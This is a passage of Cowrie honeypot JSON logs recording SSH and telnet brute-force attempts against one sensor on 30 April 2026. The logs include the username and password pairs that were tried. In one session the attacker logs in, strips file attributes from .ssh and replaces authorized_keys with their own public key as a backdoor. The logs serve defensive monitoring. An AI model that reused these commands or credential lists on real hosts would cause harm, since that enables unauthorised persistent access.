af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:10:23.516283Z","src_ip":"58.69.56.44","session":"917f2f542310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ssluser","password":"123","message":"login attempt [ssluser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:10:25.182591Z","src_ip":"58.69.56.44","session":"917f2f542310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:10:26.425149Z","src_ip":"58.69.56.44","session":"917f2f542310","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":26280,"dst_ip":"159.203.135.109","dst_port":22,"session":"f84aa3c6a72f","protocol":"ssh","message":"New connection: 222.167.161.198:26280 (159.203.135.109:22) [session: f84aa3c6a72f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:10:55.699355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:10:55.704499Z","src_ip":"222.167.161.198","session":"f84aa3c6a72f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:10:55.976624Z","src_ip":"222.167.161.198","session":"f84aa3c6a72f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginxuser","password":"nginxuser","message":"login attempt [nginxuser/nginxuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:10:57.096822Z","src_ip":"222.167.161.198","session":"f84aa3c6a72f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:10:58.371078Z","src_ip":"222.167.161.198","session":"f84aa3c6a72f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":36150,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ecfc2713f25","protocol":"ssh","message":"New connection: 58.69.56.44:36150 (159.203.135.109:22) [session: 8ecfc2713f25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:11:23.223901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:11:23.229045Z","src_ip":"58.69.56.44","session":"8ecfc2713f25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:11:23.462166Z","src_ip":"58.69.56.44","session":"8ecfc2713f25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZzaq1","message":"login attempt [admin/!QAZzaq1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:11:24.436252Z","src_ip":"58.69.56.44","session":"8ecfc2713f25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:11:25.671348Z","src_ip":"58.69.56.44","session":"8ecfc2713f25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0065507888794,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:11:34.053095Z","src_ip":"87.90.84.206","session":"f1a9c232f072","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00363039970398,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:11:36.645848Z","src_ip":"87.90.84.206","session":"296c35f2144a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":28194,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a1f3e895aa4","protocol":"telnet","message":"New connection: 87.90.84.206:28194 (159.203.135.109:23) [session: 0a1f3e895aa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:11:39.052967Z"}
{"eventid":"cowrie.session.closed","duration":120.00363826751709,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:11:41.948718Z","src_ip":"87.90.84.206","session":"8cf01c5a5d05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":28708,"dst_ip":"159.203.135.109","dst_port":23,"session":"05ced60772a1","protocol":"telnet","message":"New connection: 87.90.84.206:28708 (159.203.135.109:23) [session: 05ced60772a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:11:42.200464Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":29648,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9e5addec863","protocol":"telnet","message":"New connection: 87.90.84.206:29648 (159.203.135.109:23) [session: e9e5addec863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:11:45.375026Z"}
{"eventid":"cowrie.session.closed","duration":120.00094366073608,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:11:45.542811Z","src_ip":"87.90.84.206","session":"a0bd6b4d20d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":30138,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe95ba50f05c","protocol":"telnet","message":"New connection: 87.90.84.206:30138 (159.203.135.109:23) [session: fe95ba50f05c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:11:46.420779Z"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":62434,"dst_ip":"159.203.135.109","dst_port":22,"session":"c42b32e06e7d","protocol":"ssh","message":"New connection: 222.167.161.198:62434 (159.203.135.109:22) [session: c42b32e06e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:04.352432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:04.357144Z","src_ip":"222.167.161.198","session":"c42b32e06e7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:04.632812Z","src_ip":"222.167.161.198","session":"c42b32e06e7d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle@2024","message":"login attempt [oracle/oracle@2024] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:05.757417Z","src_ip":"222.167.161.198","session":"c42b32e06e7d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:06.349338Z","src_ip":"222.167.161.198","session":"c42b32e06e7d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:06.352880Z","src_ip":"222.167.161.198","session":"c42b32e06e7d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:06.357754Z","src_ip":"222.167.161.198","session":"c42b32e06e7d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:06.634589Z","src_ip":"222.167.161.198","session":"c42b32e06e7d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:07.219289Z","src_ip":"222.167.161.198","session":"c42b32e06e7d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:07.223131Z","src_ip":"222.167.161.198","session":"c42b32e06e7d","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:07.500282Z","src_ip":"222.167.161.198","session":"c42b32e06e7d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:07.503953Z","src_ip":"222.167.161.198","session":"c42b32e06e7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":62440,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae649821332f","protocol":"ssh","message":"New connection: 222.167.161.198:62440 (159.203.135.109:22) [session: ae649821332f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:07.769662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:07.774860Z","src_ip":"222.167.161.198","session":"ae649821332f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:08.045624Z","src_ip":"222.167.161.198","session":"ae649821332f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:09.165116Z","src_ip":"222.167.161.198","session":"ae649821332f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:10.439131Z","src_ip":"222.167.161.198","session":"ae649821332f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":25628,"dst_ip":"159.203.135.109","dst_port":22,"session":"24cfe1caf123","protocol":"ssh","message":"New connection: 222.167.161.198:25628 (159.203.135.109:22) [session: 24cfe1caf123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:10.704747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:10.709591Z","src_ip":"222.167.161.198","session":"24cfe1caf123","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:10.981904Z","src_ip":"222.167.161.198","session":"24cfe1caf123","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:12.093837Z","src_ip":"222.167.161.198","session":"24cfe1caf123","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:12.363163Z","src_ip":"222.167.161.198","session":"c42b32e06e7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:12.367825Z","src_ip":"222.167.161.198","session":"24cfe1caf123","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.61.130.38","src_port":35179,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e7be2a15a37","protocol":"telnet","message":"New connection: 38.61.130.38:35179 (159.203.135.109:23) [session: 2e7be2a15a37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:16.169954Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":53338,"dst_ip":"159.203.135.109","dst_port":22,"session":"c29b8eb23f98","protocol":"ssh","message":"New connection: 58.69.56.44:53338 (159.203.135.109:22) [session: c29b8eb23f98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:21.342335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:21.346541Z","src_ip":"58.69.56.44","session":"c29b8eb23f98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.c